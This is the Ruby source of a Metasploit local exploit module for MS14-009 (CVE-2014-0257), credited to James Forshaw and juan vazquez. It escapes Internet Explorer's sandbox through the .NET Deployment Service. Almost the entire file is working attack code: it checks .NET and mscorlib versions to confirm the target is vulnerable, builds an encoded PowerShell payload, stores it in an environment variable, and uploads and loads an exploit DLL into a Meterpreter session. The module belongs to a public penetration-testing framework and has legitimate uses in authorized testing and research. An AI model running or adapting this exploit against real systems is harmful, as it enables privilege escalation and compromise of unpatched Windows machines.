##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::File

  NET_VERSIONS = {
    '4.5' => {
      'dfsvc' => '4.0.30319.17929.17',
      'mscorlib' => '4.0.30319.18063.18'
    },
    '4.5.1' => {
      'dfsvc' => '4.0.30319.18408.18',
      'mscorlib' => '4.0.30319.18444.18'
    }
  }

  def initialize(info={})
    super( update_info( info,
      'Name'		=> 'MS14-009 .NET Deployment Service IE Sandbox Escape',
      'Description'	=> %q{
        This module abuses a process creation policy in Internet Explorer's sandbox, specifically
        in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the
        Enhanced Protected Mode, and execute code with Medium Integrity.
      },
      'License'	=> MSF_LICENSE,
      'Author'	=>
        [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
      'Platform'	    => [ 'win' ],
      'SessionTypes'	=> [ 'meterpreter' ],
      'Targets'	=>
        [
          [ 'IE 8 - 11', { } ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions'  =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate'=> "Feb 11 2014",
      'References' =>
        [
          ['CVE', '2014-0257'],
          ['MSB', 'MS14-009'],
          ['BID', '65417'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ]
    ))
  end

  def check
    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
      return Exploit::CheckCode::Unknown
    end

    net_version = get_net_version

    if net_version.empty?
      return Exploit::CheckCode::Unknown
    end

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
      return Exploit::CheckCode::Detected
    end

    mscorlib_version = get_mscorlib_version

    if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def get_net_version
    net_version = ""

    dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
    dfsvc_version = dfsvc_version.join(".")

    NET_VERSIONS.each do |k,v|
      if v["dfsvc"] == dfsvc_version
        net_version = k
      end
    end

    net_version
  end

  def get_mscorlib_version
    mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
    mscorlib_version.join(".")
  end

  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end

    print_status("Searching .NET Deployment Service (dfsvc.exe)...")

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
      fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
    end

    net_version = get_net_version

    if net_version.empty?
      fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")
    end

    print_good(".NET Deployment Service from .NET #{net_version} found.")

    print_status("Checking if .NET is patched...")

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
      fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")
    end

    mscorlib_version = get_mscorlib_version

    if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])
      fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")
    end

    print_good(".NET looks vulnerable, exploiting...")

    cmd = cmd_psh_payload(payload.encoded,
                          payload_instance.arch.first,
                          {
                            :remove_comspec => true
                          }
                         )

    cmd.gsub!('powershell.exe ','')
    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)

    temp = get_env('TEMP')

    print_status("Loading Exploit Library...")

    session.core.load_library(
        'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
        'TargetFilePath'  => temp +  "\\CVE-2014-0257.dll",
        'UploadLibrary'   => true,
        'Extension'       => false,
        'SaveToDisk'      => false
    )
  end

  def cleanup
    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
    super
  end
end